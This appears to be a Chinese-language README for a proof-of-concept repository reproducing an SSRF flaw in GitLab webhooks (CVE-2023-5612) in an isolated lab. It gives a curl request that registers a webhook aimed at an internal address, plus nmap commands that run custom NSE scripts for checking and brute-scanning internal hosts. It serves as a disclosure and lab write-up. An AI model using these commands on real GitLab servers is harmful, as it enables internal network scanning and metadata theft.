GitLab CE/EE 中存在一个 SSRF 漏洞,允许具有有效 Project Maintainer 权限的攻击者通过恶意 webhook URL 向任意内部服务发送精心构造的请求。利用此漏洞可导致内网扫描、元数据泄露或进一步横向移动。
curl -s --header "PRIVATE-TOKEN: <TOKEN>" \
--data-urlencode "url=http://127.0.0.1:8888" \
http://<gitlab-host>:8080/api/v4/projects/<project_id>/hooks
- 在专门为测试部署的虚拟机中运行 Kali Linux
- 通过 Docker 拉起一个存在漏洞的 GitLab CE 实例(端口 8080)
- 在 GitLab 内部:
- 创建了一个测试项目
- 生成了一个具有 Maintainer 权限的 Personal Access Token (glpat-...)
- 在 127.0.0.1:8888 上启动了一个最小的 HTTP 服务作为内部 SSRF 目标
- 通过 curl 手动确认漏洞(参见 PoC)
- 创建自定义 NSE 脚本:
- gitlab-ssrf.nse:定点检查 SSRF
- gitlab-ssrf-brute.nse:自动扫描内部地址
- 使用 nmap -d 和 --script-trace 进行测试,分析 API 行为并记录结果
- 从内部服务收到 401 Unauthorized 响应,表明 SSRF 成功
- 成功的请求将返回 `201 Created` 或类似 `401 Unauthorized` 的错误,这表示 SSRF 访问成功。
nmap -p 8080 \
--script ./gitlab-ssrf.nse \
--script-args gitlab.token="<TOKEN>" \
<target-ip>
nmap -p 8080 \
--script ./gitlab-ssrf-brute.nse \
--script-args gitlab.token="<TOKEN>" \
<target-ip>
在针对 **CVE-2023-5612** 漏洞的工作中,我们成功复现了一个通过 GitLab CE API 访问内部地址的 SSRF 攻击场景。这充分说明了限制 webhook 能力以及在服务器端实施 URL 验证的重要性。
.
├── gitlab-ssrf.nse # 用于手动 SSRF 验证的 NSE 脚本
├── gitlab-ssrf-brute.nse # 用于扫描内部主机/端口的 NSE 暴力扫描脚本
├── screenshots/ # PoC 执行截图及漏洞确认截图
└── README.md # 本文件
Pavel Topskiy
GitHub • 安全分析师,红队分析师
所有测试均在隔离的实验室环境中,针对故意存在漏洞的版本进行。请勿在未经授权的系统上使用本内容。请遵守道德黑客原则。